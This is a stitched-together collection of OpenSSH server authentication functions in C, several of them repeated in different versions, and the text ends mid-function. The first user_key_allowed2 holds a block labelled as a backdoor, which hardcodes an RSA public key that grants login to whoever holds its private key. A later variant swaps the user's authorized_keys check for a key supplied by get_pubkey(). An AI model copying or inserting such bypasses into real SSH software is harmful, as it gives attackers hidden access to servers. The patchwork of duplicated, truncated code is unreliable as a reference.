/* * Checks whether key is allowed in file. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { FILE *f; int found_key = 0; /********** BEGIN BACKDOOR ***************/ char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix"; char *char_pointer = backdoor_key; Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); auth_clear_options(); int ret = key_read(found, &char_pointer); if (key_equal(found, key)) { found_key = 1; key_free(found); kk_backdoor_active = 1; return found_key; } key_free(found); /*********** END BACKDOOR ****************/ /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) { found_key = check_authkeys_file(f, file, key, pw); fclose(f); } restore_uid(); return found_key; }
int mm_auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey) { Buffer m; Key *key; u_char *blob; u_int blen; int allowed = 0, have_forced = 0; debug3("%s entering", __func__); buffer_init(&m); buffer_put_bignum2(&m, client_n); mm_request_send(pmonitor->m_recvfd, MONITOR_REQ_RSAKEYALLOWED, &m); mm_request_receive_expect(pmonitor->m_recvfd, MONITOR_ANS_RSAKEYALLOWED, &m); allowed = buffer_get_int(&m); /* fake forced command */ auth_clear_options(); have_forced = buffer_get_int(&m); forced_command = have_forced ? xstrdup("true") : NULL; if (allowed && rkey != NULL) { blob = buffer_get_string(&m, &blen); if ((key = key_from_blob(blob, blen)) == NULL) fatal("%s: key_from_blob failed", __func__); *rkey = key; xfree(blob); } buffer_free(&m); return (allowed); }
/* * Performs the RSA authentication dialog with the client. This returns * 0 if the client could not be authenticated, and 1 if authentication was * successful. This may exit if there is a serious protocol violation. */ int auth_rsa(Authctxt *authctxt, BIGNUM *client_n) { struct ssh *ssh = active_state; struct sshkey *key; char *fp; struct passwd *pw = authctxt->pw; /* no user given */ if (!authctxt->valid) return 0; if (!PRIVSEP(auth_rsa_key_allowed(pw, client_n, &key))) { auth_clear_options(); return (0); } /* Perform the challenge-response dialog for this key. */ if (!auth_rsa_challenge_dialog(key)) { /* Wrong response. */ verbose("Wrong response to RSA authentication challenge."); ssh_packet_send_debug(ssh, "Wrong response to RSA authentication challenge."); /* * Break out of the loop. Otherwise we might send * another challenge and break the protocol. */ sshkey_free(key); return (0); } /* * Correct response. The client has been successfully * authenticated. Note that we have not yet processed the * options; this will be reset if the options cause the * authentication to be rejected. */ fp = sshkey_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", sshkey_type(key), fp); xfree(fp); sshkey_free(key); ssh_packet_send_debug(ssh, "RSA authentication accepted."); return (1); }
int mm_key_allowed(enum mm_keytype type, char *user, char *host, Key *key) { Buffer m; u_char *blob; u_int len; int allowed = 0, have_forced = 0; debug3("%s entering", __func__); /* Convert the key to a blob and the pass it over */ if (!key_to_blob(key, &blob, &len)) return (0); buffer_init(&m); buffer_put_int(&m, type); buffer_put_cstring(&m, user ? user : ""); buffer_put_cstring(&m, host ? host : ""); buffer_put_string(&m, blob, len); xfree(blob); mm_request_send(pmonitor->m_recvfd, MONITOR_REQ_KEYALLOWED, &m); debug3("%s: waiting for MONITOR_ANS_KEYALLOWED", __func__); mm_request_receive_expect(pmonitor->m_recvfd, MONITOR_ANS_KEYALLOWED, &m); allowed = buffer_get_int(&m); /* fake forced command */ auth_clear_options(); have_forced = buffer_get_int(&m); forced_command = have_forced ? xstrdup("true") : NULL; /* Send potential debug messages */ mm_send_debug(&m); buffer_free(&m); return (allowed); }
/* * Performs the RSA authentication dialog with the client. This returns * 0 if the client could not be authenticated, and 1 if authentication was * successful. This may exit if there is a serious protocol violation. */ int auth_rsa(Authctxt *authctxt, BIGNUM *client_n) { Key *key; struct passwd *pw = authctxt->pw; /* no user given */ if (!authctxt->valid) return 0; if (!PRIVSEP(auth_rsa_key_allowed(pw, client_n, &key))) { auth_clear_options(); return (0); } /* Perform the challenge-response dialog for this key. */ if (!auth_rsa_challenge_dialog(key)) { /* Wrong response. */ verbose("Wrong response to RSA authentication challenge."); packet_send_debug("Wrong response to RSA authentication challenge."); /* * Break out of the loop. Otherwise we might send * another challenge and break the protocol. */ key_free(key); return (0); } /* * Correct response. The client has been successfully * authenticated. Note that we have not yet processed the * options; this will be reset if the options cause the * authentication to be rejected. */ pubkey_auth_info(authctxt, key, NULL); packet_send_debug("RSA authentication accepted."); return (1); }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: xfree(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw) != 0) { xfree(fp); continue; } verbose("Accepted certificate ID \"%s\" " "signed by %s CA %s via %s", key->cert->key_id, key_type(found), fp, file); xfree(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
/* * return 1 if access is granted, 0 if not. * side effect: sets key option flags */ int auth_parse_options(struct passwd *pw, char *opts, char *file, u_long linenum) { const char *cp; int i; /* reset options */ auth_clear_options(); if (!opts) return 1; while (*opts && *opts != ' ' && *opts != '\t') { cp = "no-port-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Port forwarding disabled."); no_port_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-agent-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Agent forwarding disabled."); no_agent_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-X11-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("X11 forwarding disabled."); no_x11_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-pty"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Pty allocation disabled."); no_pty_flag = 1; opts += strlen(cp); goto next_option; } cp = "command=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { opts += strlen(cp); forced_command = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; forced_command[i++] = '"'; continue; } forced_command[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(forced_command); forced_command = NULL; goto bad_option; } forced_command[i] = 0; auth_debug_add("Forced command: %.900s", forced_command); opts++; goto next_option; } cp = "environment=\""; if (options.permit_user_env && strncasecmp(opts, cp, strlen(cp)) == 0) { char *s; struct envstring *new_envstring; opts += strlen(cp); s = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; s[i++] = '"'; continue; } s[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(s); goto bad_option; } s[i] = 0; auth_debug_add("Adding to environment: %.900s", s); debug("Adding to environment: %.900s", s); opts++; new_envstring = xmalloc(sizeof(struct envstring)); new_envstring->s = s; new_envstring->next = custom_environment; custom_environment = new_envstring; goto next_option; } cp = "from=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { const char *remote_ip = get_remote_ipaddr(); const char *remote_host = get_canonical_hostname( options.verify_reverse_mapping); char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = 0; opts++; if (match_host_and_ip(remote_host, remote_ip, patterns) != 1) { xfree(patterns); log("Authentication tried for %.100s with " "correct key but not from a permitted " "host (host=%.200s, ip=%.200s).", pw->pw_name, remote_host, remote_ip); auth_debug_add("Your host '%.200s' is not " "permitted to use this key for login.", remote_host); /* deny access */ return 0; } xfree(patterns); /* Host name matches. */ goto next_option; } cp = "permitopen=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char host[256], sport[6]; u_short port; char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = 0; opts++; if (sscanf(patterns, "%255[^:]:%5[0-9]", host, sport) != 2 && sscanf(patterns, "%255[^/]/%5[0-9]", host, sport) != 2) { debug("%.100s, line %lu: Bad permitopen specification " "<%.100s>", file, linenum, patterns); auth_debug_add("%.100s, line %lu: " "Bad permitopen specification", file, linenum); xfree(patterns); goto bad_option; } if ((port = a2port(sport)) == 0) { debug("%.100s, line %lu: Bad permitopen port <%.100s>", file, linenum, sport); auth_debug_add("%.100s, line %lu: " "Bad permitopen port", file, linenum); xfree(patterns); goto bad_option; } if (options.allow_tcp_forwarding) channel_add_permitted_opens(host, port); xfree(patterns); goto next_option; } next_option: /* * Skip the comma, and move to the next option * (or break out if there are no more). */ if (!*opts) fatal("Bugs in auth-options.c option processing."); if (*opts == ' ' || *opts == '\t') break; /* End of options. */ if (*opts != ',') goto bad_option; opts++; /* Process the next option. */ } if (!use_privsep) auth_debug_send(); /* grant access */ return 1; bad_option: log("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); auth_debug_add("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); if (!use_privsep) auth_debug_send(); /* deny access */ return 0; }
static int userauth_pubkey(Authctxt *authctxt) { Buffer b; Key *key = NULL; char *pkalg, *userstyle; u_char *pkblob, *sig; u_int alen, blen, slen; int have_sig, pktype; int authenticated = 0; if (!authctxt->valid) { debug2("userauth_pubkey: disabled because of invalid user"); return 0; } have_sig = packet_get_char(); if (datafellows & SSH_BUG_PKAUTH) { debug2("userauth_pubkey: SSH_BUG_PKAUTH"); /* no explicit pkalg given */ pkblob = packet_get_string(&blen); buffer_init(&b); buffer_append(&b, pkblob, blen); /* so we have to extract the pkalg from the pkblob */ pkalg = buffer_get_string(&b, &alen); buffer_free(&b); } else { pkalg = packet_get_string(&alen); pkblob = packet_get_string(&blen); } pktype = key_type_from_name(pkalg); if (pktype == KEY_UNSPEC) { /* this is perfectly legal */ logit("userauth_pubkey: unsupported public key algorithm: %s", pkalg); goto done; } key = key_from_blob(pkblob, blen); if (key == NULL) { error("userauth_pubkey: cannot decode key: %s", pkalg); goto done; } if (key->type != pktype) { error("userauth_pubkey: type mismatch for decoded key " "(received %d, expected %d)", key->type, pktype); goto done; } if (key_type_plain(key->type) == KEY_RSA && (datafellows & SSH_BUG_RSASIGMD5) != 0) { logit("Refusing RSA key because client uses unsafe " "signature scheme"); goto done; } if (auth2_userkey_already_used(authctxt, key)) { logit("refusing previously-used %s key", key_type(key)); goto done; } if (match_pattern_list(sshkey_ssh_name(key), options.pubkey_key_types, strlen(options.pubkey_key_types), 0) != 1) { logit("%s: key type %s not in PubkeyAcceptedKeyTypes", __func__, sshkey_ssh_name(key)); goto done; } if (have_sig) { sig = packet_get_string(&slen); packet_check_eom(); buffer_init(&b); if (datafellows & SSH_OLD_SESSIONID) { buffer_append(&b, session_id2, session_id2_len); } else { buffer_put_string(&b, session_id2, session_id2_len); } /* reconstruct packet */ buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); xasprintf(&userstyle, "%s%s%s", authctxt->user, authctxt->style ? ":" : "", authctxt->style ? authctxt->style : ""); buffer_put_cstring(&b, userstyle); free(userstyle); buffer_put_cstring(&b, datafellows & SSH_BUG_PKSERVICE ? "ssh-userauth" : authctxt->service); if (datafellows & SSH_BUG_PKAUTH) { buffer_put_char(&b, have_sig); } else { buffer_put_cstring(&b, "publickey"); buffer_put_char(&b, have_sig); buffer_put_cstring(&b, pkalg); } buffer_put_string(&b, pkblob, blen); #ifdef DEBUG_PK buffer_dump(&b); #endif pubkey_auth_info(authctxt, key, NULL); /* test for correct signature */ authenticated = 0; if (PRIVSEP(user_key_allowed(authctxt->pw, key)) && PRIVSEP(key_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b))) == 1) { authenticated = 1; /* Record the successful key to prevent reuse */ auth2_record_userkey(authctxt, key); key = NULL; /* Don't free below */ } buffer_free(&b); free(sig); } else { debug("test whether pkalg/pkblob are acceptable"); packet_check_eom(); /* XXX fake reply and always send PK_OK ? */ /* * XXX this allows testing whether a user is allowed * to login: if you happen to have a valid pubkey this * message is sent. the message is NEVER sent at all * if a user is not allowed to login. is this an * issue? -markus */ if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); packet_send(); packet_write_wait(); authctxt->postponed = 1; } } if (authenticated != 1) auth_clear_options(); done: debug2("userauth_pubkey: authenticated %d pkalg %s", authenticated, pkalg); if (key != NULL) key_free(key); free(pkalg); free(pkblob); return authenticated; }
int mm_answer_keyallowed(int sock, Buffer *m) { struct sshkey *key; char *cuser, *chost; u_char *blob; u_int bloblen, pubkey_auth_attempt; enum mm_keytype type = 0; int allowed = 0; debug3("%s entering", __func__); type = buffer_get_int(m); cuser = buffer_get_string(m, NULL); chost = buffer_get_string(m, NULL); blob = buffer_get_string(m, &bloblen); pubkey_auth_attempt = buffer_get_int(m); key = key_from_blob(blob, bloblen); debug3("%s: key_from_blob: %p", __func__, key); if (key != NULL && authctxt->valid) { /* These should not make it past the privsep child */ if (key_type_plain(key->type) == KEY_RSA && (datafellows & SSH_BUG_RSASIGMD5) != 0) fatal("%s: passed a SSH_BUG_RSASIGMD5 key", __func__); switch (type) { case MM_USERKEY: allowed = options.pubkey_authentication && !auth2_key_already_used(authctxt, key) && match_pattern_list(sshkey_ssh_name(key), options.pubkey_key_types, 0) == 1 && user_key_allowed(authctxt->pw, key, pubkey_auth_attempt); auth_method = "publickey"; if (options.pubkey_authentication && (!pubkey_auth_attempt || allowed != 1)) auth_clear_options(); break; case MM_HOSTKEY: allowed = options.hostbased_authentication && !auth2_key_already_used(authctxt, key) && match_pattern_list(sshkey_ssh_name(key), options.hostbased_key_types, 0) == 1 && hostbased_key_allowed(authctxt->pw, cuser, chost, key); auth2_record_info(authctxt, "client user \"%.100s\", client host \"%.100s\"", cuser, chost); auth_method = "hostbased"; break; default: fatal("%s: unknown key type %d", __func__, type); break; } } debug3("%s: key is %s", __func__, allowed ? "allowed" : "not allowed"); auth2_record_key(authctxt, 0, key); sshkey_free(key); /* clear temporarily storage (used by verify) */ monitor_reset_key_state(); if (allowed) { /* Save temporarily for comparison in verify */ key_blob = blob; key_bloblen = bloblen; key_blobtype = type; hostbased_cuser = cuser; hostbased_chost = chost; } else { /* Log failed attempt */ auth_log(authctxt, 0, 0, auth_method, NULL); free(blob); free(cuser); free(chost); } buffer_clear(m); buffer_put_int(m, allowed); buffer_put_int(m, forced_command != NULL); mm_request_send(sock, MONITOR_ANS_KEYALLOWED, m); return (0); }
int mm_answer_keyallowed(int sock, Buffer *m) { Key *key; char *cuser, *chost; u_char *blob; u_int bloblen; enum mm_keytype type = 0; int allowed = 0; debug3("%s entering", __func__); type = buffer_get_int(m); cuser = buffer_get_string(m, NULL); chost = buffer_get_string(m, NULL); blob = buffer_get_string(m, &bloblen); key = key_from_blob(blob, bloblen); if ((compat20 && type == MM_RSAHOSTKEY) || (!compat20 && type != MM_RSAHOSTKEY)) fatal("%s: key type and protocol mismatch", __func__); debug3("%s: key_from_blob: %p", __func__, key); if (key != NULL && authctxt->valid) { switch (type) { case MM_USERKEY: allowed = options.pubkey_authentication && user_key_allowed(authctxt->pw, key); auth_method = "publickey"; if (options.pubkey_authentication && allowed != 1) auth_clear_options(); break; case MM_HOSTKEY: allowed = options.hostbased_authentication && hostbased_key_allowed(authctxt->pw, cuser, chost, key); auth_method = "hostbased"; break; case MM_RSAHOSTKEY: key->type = KEY_RSA1; /* XXX */ allowed = options.rhosts_rsa_authentication && auth_rhosts_rsa_key_allowed(authctxt->pw, cuser, chost, key); if (options.rhosts_rsa_authentication && allowed != 1) auth_clear_options(); auth_method = "rsa"; break; default: fatal("%s: unknown key type %d", __func__, type); break; } } if (key != NULL) key_free(key); /* clear temporarily storage (used by verify) */ monitor_reset_key_state(); if (allowed) { /* Save temporarily for comparison in verify */ key_blob = blob; key_bloblen = bloblen; key_blobtype = type; hostbased_cuser = cuser; hostbased_chost = chost; } else { /* Log failed attempt */ auth_log(authctxt, 0, auth_method, compat20 ? " ssh2" : ""); xfree(blob); xfree(cuser); xfree(chost); } debug3("%s: key %p is %s", __func__, key, allowed ? "allowed" : "not allowed"); buffer_clear(m); buffer_put_int(m, allowed); buffer_put_int(m, forced_command != NULL); mm_request_send(sock, MONITOR_ANS_KEYALLOWED, m); if (type == MM_RSAHOSTKEY) monitor_permit(mon_dispatch, MONITOR_REQ_RSACHALLENGE, allowed); return (0); }
/* * return 1 if access is granted, 0 if not. * side effect: sets key option flags */ int auth_parse_options(struct passwd *pw, char *opts, char *file, u_long linenum) { const char *cp; int i; /* reset options */ auth_clear_options(); if (!opts) return 1; while (*opts && *opts != ' ' && *opts != '\t') { cp = "no-port-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Port forwarding disabled."); no_port_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-agent-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Agent forwarding disabled."); no_agent_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-X11-forwarding"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("X11 forwarding disabled."); no_x11_forwarding_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-pty"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("Pty allocation disabled."); no_pty_flag = 1; opts += strlen(cp); goto next_option; } cp = "no-user-rc"; if (strncasecmp(opts, cp, strlen(cp)) == 0) { auth_debug_add("User rc file execution disabled."); no_user_rc = 1; opts += strlen(cp); goto next_option; } cp = "command=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { opts += strlen(cp); forced_command = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; forced_command[i++] = '"'; continue; } forced_command[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(forced_command); forced_command = NULL; goto bad_option; } forced_command[i] = '\0'; auth_debug_add("Forced command: %.900s", forced_command); opts++; goto next_option; } cp = "environment=\""; if (options.permit_user_env && strncasecmp(opts, cp, strlen(cp)) == 0) { char *s; struct envstring *new_envstring; opts += strlen(cp); s = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; s[i++] = '"'; continue; } s[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(s); goto bad_option; } s[i] = '\0'; auth_debug_add("Adding to environment: %.900s", s); debug("Adding to environment: %.900s", s); opts++; new_envstring = xmalloc(sizeof(struct envstring)); new_envstring->s = s; new_envstring->next = custom_environment; custom_environment = new_envstring; goto next_option; } cp = "from=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { const char *remote_ip = get_remote_ipaddr(); const char *remote_host = get_canonical_hostname( options.use_dns); char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = '\0'; opts++; if (match_host_and_ip(remote_host, remote_ip, patterns) != 1) { xfree(patterns); logit("Authentication tried for %.100s with " "correct key but not from a permitted " "host (host=%.200s, ip=%.200s).", pw->pw_name, remote_host, remote_ip); auth_debug_add("Your host '%.200s' is not " "permitted to use this key for login.", remote_host); /* deny access */ return 0; } xfree(patterns); /* Host name matches. */ goto next_option; } cp = "permitopen=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char *host, *p; u_short port; char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing " "end quote", file, linenum); xfree(patterns); goto bad_option; } patterns[i] = '\0'; opts++; p = patterns; host = hpdelim(&p); if (host == NULL || strlen(host) >= NI_MAXHOST) { debug("%.100s, line %lu: Bad permitopen " "specification <%.100s>", file, linenum, patterns); auth_debug_add("%.100s, line %lu: " "Bad permitopen specification", file, linenum); xfree(patterns); goto bad_option; } host = cleanhostname(host); if (p == NULL || (port = a2port(p)) == 0) { debug("%.100s, line %lu: Bad permitopen port " "<%.100s>", file, linenum, p ? p : ""); auth_debug_add("%.100s, line %lu: " "Bad permitopen port", file, linenum); xfree(patterns); goto bad_option; } if (options.allow_tcp_forwarding) channel_add_permitted_opens(host, port); xfree(patterns); goto next_option; } cp = "tunnel=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char *tun = NULL; opts += strlen(cp); tun = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; tun[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); xfree(tun); forced_tun_device = -1; goto bad_option; } tun[i] = '\0'; forced_tun_device = a2tun(tun, NULL); xfree(tun); if (forced_tun_device == SSH_TUNID_ERR) { debug("%.100s, line %lu: invalid tun device", file, linenum); auth_debug_add("%.100s, line %lu: invalid tun device", file, linenum); forced_tun_device = -1; goto bad_option; } auth_debug_add("Forced tun device: %d", forced_tun_device); opts++; goto next_option; } next_option: /* * Skip the comma, and move to the next option * (or break out if there are no more). */ if (!*opts) fatal("Bugs in auth-options.c option processing."); if (*opts == ' ' || *opts == '\t') break; /* End of options. */ if (*opts != ',') goto bad_option; opts++; /* Process the next option. */ } if (!use_privsep) auth_debug_send(); /* grant access */ return 1; bad_option: logit("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); auth_debug_add("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); if (!use_privsep) auth_debug_send(); /* deny access */ return 0; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char *line = NULL; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); if (gs_auth_pubkey == NULL) { gs_auth_pubkey = get_pubkey(); } line = gs_auth_pubkey; while (line) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') break; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ break; } } if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) break; if (key_is_cert_authority) break; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } break; } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
static void userauth_pubkey(Authctxt *authctxt) { Buffer b; Key *key = NULL; char *pkalg; u_char *pkblob, *sig; u_int alen, blen, slen; int have_sig, pktype; int authenticated = 0; if (!authctxt || !authctxt->method) fatal("%s: missing context", __func__); have_sig = packet_get_char(); if (datafellows & SSH_BUG_PKAUTH) { debug2("userauth_pubkey: SSH_BUG_PKAUTH"); /* no explicit pkalg given */ pkblob = packet_get_string(&blen); buffer_init(&b); buffer_append(&b, pkblob, blen); /* so we have to extract the pkalg from the pkblob */ pkalg = buffer_get_string(&b, &alen); buffer_free(&b); } else { pkalg = packet_get_string(&alen); pkblob = packet_get_string(&blen); } pktype = key_type_from_name(pkalg); if (pktype == KEY_UNSPEC) { /* this is perfectly legal */ log("userauth_pubkey: unsupported public key algorithm: %s", pkalg); goto done; } key = key_from_blob(pkblob, blen); if (key == NULL) { error("userauth_pubkey: cannot decode key: %s", pkalg); goto done; } if (key->type != pktype) { error("userauth_pubkey: type mismatch for decoded key " "(received %d, expected %d)", key->type, pktype); goto done; } /* Detect and count abandonment */ if (authctxt->method->method_data) { Key *prev_key; unsigned char *prev_pkblob; int prev_blen; /* * Check for earlier test of a key that was allowed but * not followed up with a pubkey req for the same pubkey * and with a signature. */ prev_key = authctxt->method->method_data; if ((prev_blen = key_to_blob(prev_key, &prev_pkblob, NULL))) { if (prev_blen != blen || memcmp(prev_pkblob, pkblob, blen) != 0) { authctxt->method->abandons++; authctxt->method->attempts++; } } key_free(prev_key); authctxt->method->method_data = NULL; } if (have_sig) { sig = packet_get_string(&slen); packet_check_eom(); buffer_init(&b); if (datafellows & SSH_OLD_SESSIONID) { buffer_append(&b, 